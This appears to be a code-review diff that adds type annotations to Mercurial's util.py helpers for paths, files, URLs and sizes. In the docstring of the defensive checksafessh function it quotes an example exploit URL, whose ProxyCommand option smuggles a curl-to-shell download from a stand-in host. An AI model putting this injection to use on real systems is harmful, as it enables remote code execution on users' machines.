| hg-reviewers |
| Automatic diff as part of commit; lint not applicable. |
| Automatic diff as part of commit; unit tests not applicable. |
| ) | ) | ||||
| from .utils import ( | from .utils import ( | ||||
| compression, | compression, | ||||
| hashutil, | hashutil, | ||||
| procutil, | procutil, | ||||
| stringutil, | stringutil, | ||||
| ) | ) | ||||
| if pycompat.TYPE_CHECKING: | |||||
| from typing import ( | |||||
| Iterator, | |||||
| List, | |||||
| Optional, | |||||
| Tuple, | |||||
| Union, | |||||
| ) | |||||
| base85 = policy.importmod('base85') | base85 = policy.importmod('base85') | ||||
| osutil = policy.importmod('osutil') | osutil = policy.importmod('osutil') | ||||
| b85decode = base85.b85decode | b85decode = base85.b85decode | ||||
| b85encode = base85.b85encode | b85encode = base85.b85encode | ||||
| cookielib = pycompat.cookielib | cookielib = pycompat.cookielib | ||||
| httplib = pycompat.httplib | httplib = pycompat.httplib | ||||
| statisexec = platform.statisexec | statisexec = platform.statisexec | ||||
| statislink = platform.statislink | statislink = platform.statislink | ||||
| umask = platform.umask | umask = platform.umask | ||||
| unlink = platform.unlink | unlink = platform.unlink | ||||
| username = platform.username | username = platform.username | ||||
| def setumask(val): | def setumask(val): | ||||
| # type: (int) -> None | |||||
| ''' updates the umask. used by chg server ''' | ''' updates the umask. used by chg server ''' | ||||
| if pycompat.iswindows: | if pycompat.iswindows: | ||||
| return | return | ||||
| os.umask(val) | os.umask(val) | ||||
| global umask | global umask | ||||
| platform.umask = umask = val & 0o777 | platform.umask = umask = val & 0o777 | ||||
| # i18n: first parameter is a digest name | # i18n: first parameter is a digest name | ||||
| raise error.Abort( | raise error.Abort( | ||||
| _(b'%s mismatch: expected %s, got %s') | _(b'%s mismatch: expected %s, got %s') | ||||
| % (k, v, self._digester[k]) | % (k, v, self._digester[k]) | ||||
| ) | ) | ||||
| try: | try: | ||||
| buffer = buffer | buffer = buffer # pytype: disable=name-error | ||||
| except NameError: | except NameError: | ||||
| def buffer(sliceable, offset=0, length=None): | def buffer(sliceable, offset=0, length=None): | ||||
| if length is not None: | if length is not None: | ||||
| return memoryview(sliceable)[offset : offset + length] | return memoryview(sliceable)[offset : offset + length] | ||||
| return memoryview(sliceable)[offset:] | return memoryview(sliceable)[offset:] | ||||
| if pycompat.ispypy: | if pycompat.ispypy: | ||||
| # PyPy runs slower with gc disabled | # PyPy runs slower with gc disabled | ||||
| nogc = lambda x: x | nogc = lambda x: x | ||||
| def pathto(root, n1, n2): | def pathto(root, n1, n2): | ||||
| # type: (bytes, bytes, bytes) -> bytes | |||||
| """return the relative path from one place to another. | """return the relative path from one place to another. | ||||
| root should use os.sep to separate directories | root should use os.sep to separate directories | ||||
| n1 should use os.sep to separate directories | n1 should use os.sep to separate directories | ||||
| n2 should use "/" to separate directories | n2 should use "/" to separate directories | ||||
| returns an os.sep-separated path. | returns an os.sep-separated path. | ||||
| If n1 is a relative path, it's assumed it's | If n1 is a relative path, it's assumed it's | ||||
| relative to root. | relative to root. | ||||
| b'lpt7', | b'lpt7', | ||||
| b'lpt8', | b'lpt8', | ||||
| b'lpt9', | b'lpt9', | ||||
| } | } | ||||
| _winreservedchars = b':*?"<>|' | _winreservedchars = b':*?"<>|' | ||||
| def checkwinfilename(path): | def checkwinfilename(path): | ||||
| # type: (bytes) -> Optional[bytes] | |||||
| r"""Check that the base-relative path is a valid filename on Windows. | r"""Check that the base-relative path is a valid filename on Windows. | ||||
| Returns None if the path is ok, or a UI string describing the problem. | Returns None if the path is ok, or a UI string describing the problem. | ||||
| >>> checkwinfilename(b"just/a/normal/path") | >>> checkwinfilename(b"just/a/normal/path") | ||||
| >>> checkwinfilename(b"foo/bar/con.xml") | >>> checkwinfilename(b"foo/bar/con.xml") | ||||
| "filename contains 'con', which is reserved on Windows" | "filename contains 'con', which is reserved on Windows" | ||||
| >>> checkwinfilename(b"foo/con.xml/bar") | >>> checkwinfilename(b"foo/con.xml/bar") | ||||
| "filename contains 'con', which is reserved on Windows" | "filename contains 'con', which is reserved on Windows" | ||||
| flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) | flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) | ||||
| ld = os.open(pathname, flags) | ld = os.open(pathname, flags) | ||||
| os.write(ld, info) | os.write(ld, info) | ||||
| os.close(ld) | os.close(ld) | ||||
| def readlock(pathname): | def readlock(pathname): | ||||
| # type: (bytes) -> bytes | |||||
| try: | try: | ||||
| return readlink(pathname) | return readlink(pathname) | ||||
| except OSError as why: | except OSError as why: | ||||
| if why.errno not in (errno.EINVAL, errno.ENOSYS): | if why.errno not in (errno.EINVAL, errno.ENOSYS): | ||||
| raise | raise | ||||
| except AttributeError: # no symlink in os | except AttributeError: # no symlink in os | ||||
| pass | pass | ||||
| with posixfile(pathname, b'rb') as fp: | with posixfile(pathname, b'rb') as fp: | ||||
| return fp.read() | return fp.read() | ||||
| def fstat(fp): | def fstat(fp): | ||||
| '''stat file object that may not have fileno method.''' | '''stat file object that may not have fileno method.''' | ||||
| try: | try: | ||||
| return os.fstat(fp.fileno()) | return os.fstat(fp.fileno()) | ||||
| except AttributeError: | except AttributeError: | ||||
| return os.stat(fp.name) | return os.stat(fp.name) | ||||
| # File system features | # File system features | ||||
| def fscasesensitive(path): | def fscasesensitive(path): | ||||
| # type: (bytes) -> bool | |||||
| """ | """ | ||||
| Return true if the given path is on a case-sensitive filesystem | Return true if the given path is on a case-sensitive filesystem | ||||
| Requires a path (like /foo/.hg) ending with a foldable final | Requires a path (like /foo/.hg) ending with a foldable final | ||||
| directory component. | directory component. | ||||
| """ | """ | ||||
| s1 = os.lstat(path) | s1 = os.lstat(path) | ||||
| d, b = os.path.split(path) | d, b = os.path.split(path) | ||||
| re = _re() | re = _re() | ||||
| _fspathcache = {} | _fspathcache = {} | ||||
| def fspath(name, root): | def fspath(name, root): | ||||
| # type: (bytes, bytes) -> bytes | |||||
| """Get name in the case stored in the filesystem | """Get name in the case stored in the filesystem | ||||
| The name should be relative to root, and be normcase-ed for efficiency. | The name should be relative to root, and be normcase-ed for efficiency. | ||||
| Note that this function is unnecessary, and should not be | Note that this function is unnecessary, and should not be | ||||
| called, for case-sensitive filesystems (simply because it's expensive). | called, for case-sensitive filesystems (simply because it's expensive). | ||||
| The root should be normcase-ed, too. | The root should be normcase-ed, too. | ||||
| result.append(found or part) | result.append(found or part) | ||||
| dir = os.path.join(dir, part) | dir = os.path.join(dir, part) | ||||
| return b''.join(result) | return b''.join(result) | ||||
| def checknlink(testfile): | def checknlink(testfile): | ||||
| # type: (bytes) -> bool | |||||
| '''check whether hardlink count reporting works properly''' | '''check whether hardlink count reporting works properly''' | ||||
| # testfile may be open, so we need a separate file for checking to | # testfile may be open, so we need a separate file for checking to | ||||
| # work around issue2543 (or testfile may get lost on Samba shares) | # work around issue2543 (or testfile may get lost on Samba shares) | ||||
| f1, f2, fp = None, None, None | f1, f2, fp = None, None, None | ||||
| try: | try: | ||||
| fd, f1 = pycompat.mkstemp( | fd, f1 = pycompat.mkstemp( | ||||
| prefix=b'.%s-' % os.path.basename(testfile), | prefix=b'.%s-' % os.path.basename(testfile), | ||||
| try: | try: | ||||
| if f is not None: | if f is not None: | ||||
| os.unlink(f) | os.unlink(f) | ||||
| except OSError: | except OSError: | ||||
| pass | pass | ||||
| def endswithsep(path): | def endswithsep(path): | ||||
| # type: (bytes) -> bool | |||||
| '''Check path ends with os.sep or os.altsep.''' | '''Check path ends with os.sep or os.altsep.''' | ||||
| return ( | return bool( # help pytype | ||||
| path.endswith(pycompat.ossep) | path.endswith(pycompat.ossep) | ||||
| or pycompat.osaltsep | or pycompat.osaltsep | ||||
| and path.endswith(pycompat.osaltsep) | and path.endswith(pycompat.osaltsep) | ||||
| ) | ) | ||||
| def splitpath(path): | def splitpath(path): | ||||
| # type: (bytes) -> List[bytes] | |||||
| """Split path by os.sep. | """Split path by os.sep. | ||||
| Note that this function does not use os.altsep because this is | Note that this function does not use os.altsep because this is | ||||
| an alternative of simple "xxx.split(os.sep)". | an alternative of simple "xxx.split(os.sep)". | ||||
| It is recommended to use os.path.normpath() before using this | It is recommended to use os.path.normpath() before using this | ||||
| function if need.""" | function if need.""" | ||||
| return path.split(pycompat.ossep) | return path.split(pycompat.ossep) | ||||
| def __exit__(self, exctype, excvalue, traceback): | def __exit__(self, exctype, excvalue, traceback): | ||||
| if exctype is not None: | if exctype is not None: | ||||
| self.discard() | self.discard() | ||||
| else: | else: | ||||
| self.close() | self.close() | ||||
| def unlinkpath(f, ignoremissing=False, rmdir=True): | def unlinkpath(f, ignoremissing=False, rmdir=True): | ||||
| # type: (bytes, bool, bool) -> None | |||||
| """unlink and remove the directory if it is empty""" | """unlink and remove the directory if it is empty""" | ||||
| if ignoremissing: | if ignoremissing: | ||||
| tryunlink(f) | tryunlink(f) | ||||
| else: | else: | ||||
| unlink(f) | unlink(f) | ||||
| if rmdir: | if rmdir: | ||||
| # try removing directories that might now be empty | # try removing directories that might now be empty | ||||
| try: | try: | ||||
| removedirs(os.path.dirname(f)) | removedirs(os.path.dirname(f)) | ||||
| except OSError: | except OSError: | ||||
| pass | pass | ||||
| def tryunlink(f): | def tryunlink(f): | ||||
| # type: (bytes) -> None | |||||
| """Attempt to remove a file, ignoring ENOENT errors.""" | """Attempt to remove a file, ignoring ENOENT errors.""" | ||||
| try: | try: | ||||
| unlink(f) | unlink(f) | ||||
| except OSError as e: | except OSError as e: | ||||
| if e.errno != errno.ENOENT: | if e.errno != errno.ENOENT: | ||||
| raise | raise | ||||
| def makedirs(name, mode=None, notindexed=False): | def makedirs(name, mode=None, notindexed=False): | ||||
| # type: (bytes, Optional[int], bool) -> None | |||||
| """recursive directory creation with parent mode inheritance | """recursive directory creation with parent mode inheritance | ||||
| Newly created directories are marked as "not to be indexed by | Newly created directories are marked as "not to be indexed by | ||||
| the content indexing service", if ``notindexed`` is specified | the content indexing service", if ``notindexed`` is specified | ||||
| for "write" mode access. | for "write" mode access. | ||||
| """ | """ | ||||
| try: | try: | ||||
| makedir(name, notindexed) | makedir(name, notindexed) | ||||
| if err.errno == errno.EEXIST: | if err.errno == errno.EEXIST: | ||||
| return | return | ||||
| raise | raise | ||||
| if mode is not None: | if mode is not None: | ||||
| os.chmod(name, mode) | os.chmod(name, mode) | ||||
| def readfile(path): | def readfile(path): | ||||
| # type: (bytes) -> bytes | |||||
| with open(path, b'rb') as fp: | with open(path, b'rb') as fp: | ||||
| return fp.read() | return fp.read() | ||||
| def writefile(path, text): | def writefile(path, text): | ||||
| # type: (bytes, bytes) -> None | |||||
| with open(path, b'wb') as fp: | with open(path, b'wb') as fp: | ||||
| fp.write(text) | fp.write(text) | ||||
| def appendfile(path, text): | def appendfile(path, text): | ||||
| # type: (bytes, bytes) -> None | |||||
| with open(path, b'ab') as fp: | with open(path, b'ab') as fp: | ||||
| fp.write(text) | fp.write(text) | ||||
| class chunkbuffer(object): | class chunkbuffer(object): | ||||
| """Allow arbitrary sized chunks of data to be efficiently read from an | """Allow arbitrary sized chunks of data to be efficiently read from an | ||||
| iterator over chunks of arbitrary size.""" | iterator over chunks of arbitrary size.""" | ||||
| if abs(count) >= divisor * multiplier: | if abs(count) >= divisor * multiplier: | ||||
| return format % (count / float(divisor)) | return format % (count / float(divisor)) | ||||
| return unittable[-1][2] % count | return unittable[-1][2] % count | ||||
| return go | return go | ||||
| def processlinerange(fromline, toline): | def processlinerange(fromline, toline): | ||||
| # type: (int, int) -> Tuple[int, int] | |||||
| """Check that linerange <fromline>:<toline> makes sense and return a | """Check that linerange <fromline>:<toline> makes sense and return a | ||||
| 0-based range. | 0-based range. | ||||
| >>> processlinerange(10, 20) | >>> processlinerange(10, 20) | ||||
| (9, 20) | (9, 20) | ||||
| >>> processlinerange(2, 1) | >>> processlinerange(2, 1) | ||||
| Traceback (most recent call last): | Traceback (most recent call last): | ||||
| ... | ... | ||||
| # Matches a single EOL which can either be a CRLF where repeated CR | # Matches a single EOL which can either be a CRLF where repeated CR | ||||
| # are removed or a LF. We do not care about old Macintosh files, so a | # are removed or a LF. We do not care about old Macintosh files, so a | ||||
| # stray CR is an error. | # stray CR is an error. | ||||
| _eolre = remod.compile(br'\r*\n') | _eolre = remod.compile(br'\r*\n') | ||||
| def tolf(s): | def tolf(s): | ||||
| # type: (bytes) -> bytes | |||||
| return _eolre.sub(b'\n', s) | return _eolre.sub(b'\n', s) | ||||
| def tocrlf(s): | def tocrlf(s): | ||||
| # type: (bytes) -> bytes | |||||
| return _eolre.sub(b'\r\n', s) | return _eolre.sub(b'\r\n', s) | ||||
| def _crlfwriter(fp): | def _crlfwriter(fp): | ||||
| return transformingwriter(fp, tocrlf) | return transformingwriter(fp, tocrlf) | ||||
| if pycompat.oslinesep == b'\r\n': | if pycompat.oslinesep == b'\r\n': | ||||
| else: | else: | ||||
| # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | ||||
| def iterfile(fp): | def iterfile(fp): | ||||
| return fp | return fp | ||||
| def iterlines(iterator): | def iterlines(iterator): | ||||
| # type: (Iterator[bytes]) -> Iterator[bytes] | |||||
| for chunk in iterator: | for chunk in iterator: | ||||
| for line in chunk.splitlines(): | for line in chunk.splitlines(): | ||||
| yield line | yield line | ||||
| def expandpath(path): | def expandpath(path): | ||||
| # type: (bytes) -> bytes | |||||
| return os.path.expanduser(os.path.expandvars(path)) | return os.path.expanduser(os.path.expandvars(path)) | ||||
| def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | ||||
| """Return the result of interpolating items in the mapping into string s. | """Return the result of interpolating items in the mapping into string s. | ||||
| prefix is a single character string, or a two character string with | prefix is a single character string, or a two character string with | ||||
| a backslash as the first character if the prefix needs to be escaped in | a backslash as the first character if the prefix needs to be escaped in | ||||
| else: | else: | ||||
| prefix_char = prefix | prefix_char = prefix | ||||
| mapping[prefix_char] = prefix_char | mapping[prefix_char] = prefix_char | ||||
| r = remod.compile(br'%s(%s)' % (prefix, patterns)) | r = remod.compile(br'%s(%s)' % (prefix, patterns)) | ||||
| return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | ||||
| def getport(port): | def getport(port): | ||||
| # type: (Union[bytes, int]) -> int | |||||
| """Return the port for a given network service. | """Return the port for a given network service. | ||||
| If port is an integer, it's returned as is. If it's a string, it's | If port is an integer, it's returned as is. If it's a string, it's | ||||
| looked up using socket.getservbyname(). If there's no matching | looked up using socket.getservbyname(). If there's no matching | ||||
| service, error.Abort is raised. | service, error.Abort is raised. | ||||
| """ | """ | ||||
| try: | try: | ||||
| return int(port) | return int(port) | ||||
| <url scheme: 'http'> | <url scheme: 'http'> | ||||
| """ | """ | ||||
| _safechars = b"!~*'()+" | _safechars = b"!~*'()+" | ||||
| _safepchars = b"/!~*'()+:\\" | _safepchars = b"/!~*'()+:\\" | ||||
| _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | ||||
| def __init__(self, path, parsequery=True, parsefragment=True): | def __init__(self, path, parsequery=True, parsefragment=True): | ||||
| # type: (bytes, bool, bool) -> None | |||||
| # We slowly chomp away at path until we have only the path left | # We slowly chomp away at path until we have only the path left | ||||
| self.scheme = self.user = self.passwd = self.host = None | self.scheme = self.user = self.passwd = self.host = None | ||||
| self.port = self.path = self.query = self.fragment = None | self.port = self.path = self.query = self.fragment = None | ||||
| self._localpath = True | self._localpath = True | ||||
| self._hostport = b'' | self._hostport = b'' | ||||
| self._origpath = path | self._origpath = path | ||||
| if parsefragment and b'#' in path: | if parsefragment and b'#' in path: | ||||
| return True # absolute for our purposes - can't be joined() | return True # absolute for our purposes - can't be joined() | ||||
| if self.path.startswith(br'\\'): | if self.path.startswith(br'\\'): | ||||
| return True # Windows UNC path | return True # Windows UNC path | ||||
| if self.path.startswith(b'/'): | if self.path.startswith(b'/'): | ||||
| return True # POSIX-style | return True # POSIX-style | ||||
| return False | return False | ||||
| def localpath(self): | def localpath(self): | ||||
| # type: () -> bytes | |||||
| if self.scheme == b'file' or self.scheme == b'bundle': | if self.scheme == b'file' or self.scheme == b'bundle': | ||||
| path = self.path or b'/' | path = self.path or b'/' | ||||
| # For Windows, we need to promote hosts containing drive | # For Windows, we need to promote hosts containing drive | ||||
| # letters to paths with drive letters. | # letters to paths with drive letters. | ||||
| if hasdriveletter(self._hostport): | if hasdriveletter(self._hostport): | ||||
| path = self._hostport + b'/' + self.path | path = self._hostport + b'/' + self.path | ||||
| elif ( | elif ( | ||||
| self.host is not None and self.path and not hasdriveletter(path) | self.host is not None and self.path and not hasdriveletter(path) | ||||
| ): | ): | ||||
| path = b'/' + path | path = b'/' + path | ||||
| return path | return path | ||||
| return self._origpath | return self._origpath | ||||
| def islocal(self): | def islocal(self): | ||||
| '''whether localpath will return something that posixfile can open''' | '''whether localpath will return something that posixfile can open''' | ||||
| return ( | return ( | ||||
| not self.scheme | not self.scheme | ||||
| or self.scheme == b'file' | or self.scheme == b'file' | ||||
| or self.scheme == b'bundle' | or self.scheme == b'bundle' | ||||
| ) | ) | ||||
| def hasscheme(path): | def hasscheme(path): | ||||
| return bool(url(path).scheme) | # type: (bytes) -> bool | ||||
| return bool(url(path).scheme) # cast to help pytype | |||||
| def hasdriveletter(path): | def hasdriveletter(path): | ||||
| return path and path[1:2] == b':' and path[0:1].isalpha() | # type: (bytes) -> bool | ||||
| return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |||||
| def urllocalpath(path): | def urllocalpath(path): | ||||
| # type: (bytes) -> bytes | |||||
| return url(path, parsequery=False, parsefragment=False).localpath() | return url(path, parsequery=False, parsefragment=False).localpath() | ||||
| def checksafessh(path): | def checksafessh(path): | ||||
| # type: (bytes) -> None | |||||
| """check if a path / url is a potentially unsafe ssh exploit (SEC) | """check if a path / url is a potentially unsafe ssh exploit (SEC) | ||||
| This is a sanity check for ssh urls. ssh will parse the first item as | This is a sanity check for ssh urls. ssh will parse the first item as | ||||
| an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | ||||
| Let's prevent these potentially exploited urls entirely and warn the | Let's prevent these potentially exploited urls entirely and warn the | ||||
| user. | user. | ||||
| Raises an error.Abort when the url is unsafe. | Raises an error.Abort when the url is unsafe. | ||||
| """ | """ | ||||
| path = urlreq.unquote(path) | path = urlreq.unquote(path) | ||||
| if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | ||||
| raise error.Abort( | raise error.Abort( | ||||
| _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | ||||
| ) | ) | ||||
| def hidepassword(u): | def hidepassword(u): | ||||
| # type: (bytes) -> bytes | |||||
| '''hide user credential in a url string''' | '''hide user credential in a url string''' | ||||
| u = url(u) | u = url(u) | ||||
| if u.passwd: | if u.passwd: | ||||
| u.passwd = b'***' | u.passwd = b'***' | ||||
| return bytes(u) | return bytes(u) | ||||
| def removeauth(u): | def removeauth(u): | ||||
| # type: (bytes) -> bytes | |||||
| '''remove all authentication information from a url string''' | '''remove all authentication information from a url string''' | ||||
| u = url(u) | u = url(u) | ||||
| u.user = u.passwd = None | u.user = u.passwd = None | ||||
| return bytes(u) | return bytes(u) | ||||
| timecount = unitcountfn( | timecount = unitcountfn( | ||||
| (1, 1e3, _(b'%.0f s')), | (1, 1e3, _(b'%.0f s')), | ||||
| (b'kb', 2 ** 10), | (b'kb', 2 ** 10), | ||||
| (b'mb', 2 ** 20), | (b'mb', 2 ** 20), | ||||
| (b'gb', 2 ** 30), | (b'gb', 2 ** 30), | ||||
| (b'b', 1), | (b'b', 1), | ||||
| ) | ) | ||||
| def sizetoint(s): | def sizetoint(s): | ||||
| # type: (bytes) -> int | |||||
| """Convert a space specifier to a byte count. | """Convert a space specifier to a byte count. | ||||
| >>> sizetoint(b'30') | >>> sizetoint(b'30') | ||||
| 30 | 30 | ||||
| >>> sizetoint(b'2.2kb') | >>> sizetoint(b'2.2kb') | ||||
| 2252 | 2252 | ||||
| >>> sizetoint(b'6M') | >>> sizetoint(b'6M') | ||||
| 6291456 | 6291456 | ||||
| yield | yield | ||||
| finally: | finally: | ||||
| locale.setlocale(locale.LC_CTYPE, oldloc) | locale.setlocale(locale.LC_CTYPE, oldloc) | ||||
| else: | else: | ||||
| yield | yield | ||||
| def _estimatememory(): | def _estimatememory(): | ||||
| # type: () -> Optional[int] | |||||
| """Provide an estimate for the available system memory in Bytes. | """Provide an estimate for the available system memory in Bytes. | ||||
| If no estimate can be provided on the platform, returns None. | If no estimate can be provided on the platform, returns None. | ||||
| """ | """ | ||||
| if pycompat.sysplatform.startswith(b'win'): | if pycompat.sysplatform.startswith(b'win'): | ||||
| # On Windows, use the GlobalMemoryStatusEx kernel function directly. | # On Windows, use the GlobalMemoryStatusEx kernel function directly. | ||||
| from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG | from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG | ||||
| from ctypes.wintypes import Structure, byref, sizeof, windll | from ctypes.wintypes import ( # pytype: disable=import-error | ||||
| Structure, | |||||
| byref, | |||||
| sizeof, | |||||
| windll, | |||||
| ) | |||||
| class MEMORYSTATUSEX(Structure): | class MEMORYSTATUSEX(Structure): | ||||
| _fields_ = [ | _fields_ = [ | ||||
| ('dwLength', DWORD), | ('dwLength', DWORD), | ||||
| ('dwMemoryLoad', DWORD), | ('dwMemoryLoad', DWORD), | ||||
| ('ullTotalPhys', DWORDLONG), | ('ullTotalPhys', DWORDLONG), | ||||
| ('ullAvailPhys', DWORDLONG), | ('ullAvailPhys', DWORDLONG), | ||||
| ('ullTotalPageFile', DWORDLONG), | ('ullTotalPageFile', DWORDLONG), | ||||